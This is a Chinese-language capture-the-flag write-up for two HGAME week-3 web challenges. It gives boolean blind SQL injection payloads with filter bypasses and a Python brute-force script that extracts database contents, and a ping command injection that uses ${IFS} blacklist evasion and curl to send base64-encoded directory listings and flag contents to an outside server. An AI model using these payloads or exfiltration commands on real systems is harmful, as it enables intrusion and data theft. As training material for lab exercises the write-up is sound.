

Week 3

Web

- Login To Get My Gift

除了登录框的登陆成功与否以及是否下发 Session Cookie 外，没有任何有差异的响应。猜测是 SQL 布尔盲注。

Post 用户名 *testuser*，密码 *testpasswor'or(...)or'0* 可执行括号内的 SQL 语句。通过登陆成功与否可判断语句执行结果为真或假。

防火墙过滤了等号，使用大小于进行判断。

testpasswor'or(length(database())<8)or'0 返回登录成功，

testpasswor'or(length(database())<7)or'0 返回登陆失败。

得知数据库名长度为 7

testpasswor'or(strcmp(left(binary(database()),'1'),binary('l'))or'0

*strcmp()*当两字符串相等时返回 0，对应返回登陆失败的提示。猜测库名首字母为 l

写脚本爆破

```
1. import requests
2.
3. keywords='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
  WXYZ!~?@#$%*-_ '
4. url = 'http://week-3.hgame.lwsec.cn:32210/login'
5.
6. known_words = ''
7. counter = 7
8. leftconter = 0
9. while(counter != 0):
10.     counter = counter - 1
11.     leftconter = leftconter + 1
12.     #holder = holder[1:]
13.     for key in keywords:
14.         guestwords = known_words + key
15.         print('Now testing ' + guestwords + ' ')
16.         payload = 'testpasswor\'or(strcmp(left(binary(database()), '
          + str(leftconter) + '),binary(\'\' + guestwords + '\'))or\'0'
17.         x = requests.post(url, data = {'username': 'testuser', 'pass
          word': payload})
18.         if('Failed' in x.text):
19.             print("correct!")
```

```

20.         known_words = known_words + key
21.         break
22.     if('Success' in x.text):
23.         print("wrong")
24.         continue
25.     if('Error Occurred' in x.text):
26.         print("Error!")
27.         exit()
28. print(known_words)

```

最后跑出库名为 *l0g1nme*

```
testpassword'or((select(count(table_name))from(information_schema.tables)where((table_schema)in('l0g1nme'))<2)or'0
```

登陆成功，表只有一张

```
testpassword'or((select(length(table_name))from(information_schema.tables)where((table_schema)in('l0g1nme'))<15)or'0
```

表长度 14

```
testpassword'or(strcmp(left((select(table_name)from(information_schema.tables)where((table_schema)in('l0g1nme'))), '1'), 'l'))or'0
```

同样写脚本，爆表名 *User1nf0mAt1on*

```
testpassword'or((select(count(column_name))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on'))<4)or'0
```

表内字段数 3

```
testpassword'or((select(length(group_concat(column_name)))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on'))<21)or'0
```

字段 concat 后长度 20

```
testpassword'or(strcmp(left((select(binary(group_concat(column_name)))from(information_schema.COLUMNS)where((table_name)in('User1nf0mAt1on'))), '1'), binary('i'))or'0
```

字段名分别为 *id*, *UsErN4me*, *PAssw0rD*

```
testpassword'or((select(length(group_concat(UsErN4me)))from(User1nf0mAt1on))<31)or'0
```

用户名 concat 后长度 30

```
testpassword'or(strcmp(left((select(binary(group_concat(UsErN4me)))from(User1nf0mAt1on)), '1'), binary('i'))or'0
```

用户名有 *hgAmE2023HAppYnEwyEAR*, *testuser*

- **Ping To The Host**

&&分隔命令，\${IFS}代替空格，对某些黑名单内的命令，插入\${21}绕过。

Localhost

localhost&&sleep\${IFS}5

对比两者响应延迟，后者明显慢 5 秒

起一个 web 服务器在公网上，执行命令：

localhost &&curl\${IFS}180.141.247.1:21618/'l\${21}s\${IFS}/|base64\${IFS}-w\${IFS}0`

查看 web 服务器日志，对请求路径进行 base64 解码

得知根目录下存在文件 *flag_is_here_haha*

执行命令：

localhost &&curl\${IFS}180.141.247.203:21618/'ca\${21}t\${IFS}/fl\${IFS}ag_is_here_haha|base64`

查看 web 服务器日志，对请求路径进行 base64 解码，得到 flag。